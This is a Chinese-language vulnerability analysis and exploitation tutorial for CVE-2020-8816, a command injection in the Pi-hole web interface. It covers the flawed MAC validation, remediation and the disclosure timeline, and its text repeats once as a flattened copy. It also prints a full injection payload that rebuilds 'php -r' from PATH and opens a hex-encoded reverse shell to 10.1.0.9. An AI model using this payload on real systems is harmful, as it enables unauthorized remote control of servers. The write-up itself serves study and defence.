Pi-hole中的远程代码执行漏洞(CVE-2020-8816)
字数 1090 2025-08-25 22:58:29

Pi-hole远程代码执行漏洞(CVE-2020-8816)技术分析与利用教学

漏洞概述

CVE-2020-8816是Pi-hole Web界面中存在的一个远程代码执行漏洞,允许经过认证的用户在服务器上执行任意命令。该漏洞存在于Pi-hole的静态DHCP配置功能中,由于对用户输入的MAC地址验证不充分,导致命令注入攻击成为可能。

影响范围

  • 受影响版本:Pi-hole网页界面4.3.2及之前版本
  • 影响程度:经过Web门户验证的用户可以像本地用户一样在服务器中执行任意命令

技术背景

Pi-hole是一个用于内容过滤的DNS服务器,同时提供DHCP服务。它是一个DNS沉洞,可在不安装任何客户端软件的情况下保护设备免受有害内容的侵害。

漏洞分析

漏洞位置

漏洞存在于settings.php文件中处理静态DHCP配置的部分,特别是MAC地址验证和处理的代码段。

关键漏洞代码

function validMAC($mac_addr)
{
  // Accepted input format: 00:01:02:1A:5F:FF (characters may be lower case)
  return (preg_match('/([a-fA-F0-9]{2}[:]?){6}/', $mac_addr) == 1);    // 漏洞点
}

漏洞成因

  1. 不充分的输入验证validMAC()函数使用正则表达式验证MAC地址,但该正则过于宽松,允许注入特殊字符
  2. 直接拼接命令:验证通过后,用户输入直接拼接到shell命令中执行:
    exec("sudo pihole -a addstaticdhcp ".$mac." ".$ip." ".$hostname);
    

漏洞利用

利用限制

  1. 输入会被strtoupper()函数转换为大写
  2. Linux命令区分大小写,直接注入如"php -r"会被转换为"PHP -R"而失败

绕过技术

利用环境变量和POSIX Shell参数扩展构造小写命令:

  1. 利用PATH环境变量:PATH中包含小写字母的路径如/opt/pihole:/usr/local/sbin...
  2. Shell参数扩展:从PATH中提取所需的小写字母
    W=${PATH#/???/}
    P=${W%%?????:*}  # 提取'p'
    X=${PATH#/???/??}
    H=${X%%???:*}    # 提取'h'
    Z=${PATH#*:/??}
    R=${Z%%/*}       # 提取'r'
    

完整Payload

aaaaaaaaaaaa&&W=${PATH#/???/}&&P=${W%%?????:*}&&X=${PATH#/???/??}&&H=${X%%???:*}&&Z=${PATH#*:/??}&&R=${Z%%/*}&&$P$H$P$IFS-$R$IFS'EXEC(HEX2BIN("706870202D72202724736F636B3D66736F636B6F70656E282231302E312E302E39222C32323536293B6578656328222F62696E2F7368202D69203C2633203E263320323E263322293B27"));'&&

Payload解析

  1. 构造php -r命令:$P$H$P$IFS-$R$IFSp h p - r
  2. 执行PHP反向shell代码(十六进制编码):
    $sock=fsockopen("10.1.0.9",2256);
    exec("/bin/sh -i <&3 >&3 2>&3");
    

修复方案

  1. 官方修复:Pi-hole在4.3.3版本中修复了此漏洞
  2. 安全建议
    • 严格验证用户输入,使用白名单方式验证MAC地址格式
    • 避免直接将用户输入拼接到命令中
    • 使用参数化查询或escapeshellarg()等函数处理shell参数

时间线

  • 2020年2月10日:漏洞报告给Pi-hole LLC
  • 2020年2月10日:Pi-hole确认收到报告
  • 2020年2月18日:发布修复版本4.3.3
  • 2020年2月19日:漏洞公开披露

总结

CVE-2020-8816展示了输入验证不足和命令注入的风险,特别是在处理网络配置这类敏感功能时。开发者应始终采用最小权限原则和深度防御策略,对用户输入进行严格验证和适当转义。

Pi-hole远程代码执行漏洞(CVE-2020-8816)技术分析与利用教学 漏洞概述 CVE-2020-8816是Pi-hole Web界面中存在的一个远程代码执行漏洞,允许经过认证的用户在服务器上执行任意命令。该漏洞存在于Pi-hole的静态DHCP配置功能中,由于对用户输入的MAC地址验证不充分,导致命令注入攻击成为可能。 影响范围 受影响版本 :Pi-hole网页界面4.3.2及之前版本 影响程度 :经过Web门户验证的用户可以像本地用户一样在服务器中执行任意命令 技术背景 Pi-hole是一个用于内容过滤的DNS服务器,同时提供DHCP服务。它是一个DNS沉洞,可在不安装任何客户端软件的情况下保护设备免受有害内容的侵害。 漏洞分析 漏洞位置 漏洞存在于 settings.php 文件中处理静态DHCP配置的部分,特别是MAC地址验证和处理的代码段。 关键漏洞代码 漏洞成因 不充分的输入验证 : validMAC() 函数使用正则表达式验证MAC地址,但该正则过于宽松,允许注入特殊字符 直接拼接命令 :验证通过后,用户输入直接拼接到shell命令中执行: 漏洞利用 利用限制 输入会被 strtoupper() 函数转换为大写 Linux命令区分大小写,直接注入如"php -r"会被转换为"PHP -R"而失败 绕过技术 利用环境变量和POSIX Shell参数扩展构造小写命令: 利用PATH环境变量 :PATH中包含小写字母的路径如 /opt/pihole:/usr/local/sbin... Shell参数扩展 :从PATH中提取所需的小写字母 完整Payload Payload解析 构造 php -r 命令: $P$H$P$IFS-$R$IFS → p h p - r 执行PHP反向shell代码(十六进制编码): 修复方案 官方修复 :Pi-hole在4.3.3版本中修复了此漏洞 安全建议 : 严格验证用户输入,使用白名单方式验证MAC地址格式 避免直接将用户输入拼接到命令中 使用参数化查询或escapeshellarg()等函数处理shell参数 时间线 2020年2月10日:漏洞报告给Pi-hole LLC 2020年2月10日:Pi-hole确认收到报告 2020年2月18日:发布修复版本4.3.3 2020年2月19日:漏洞公开披露 总结 CVE-2020-8816展示了输入验证不足和命令注入的风险,特别是在处理网络配置这类敏感功能时。开发者应始终采用最小权限原则和深度防御策略,对用户输入进行严格验证和适当转义。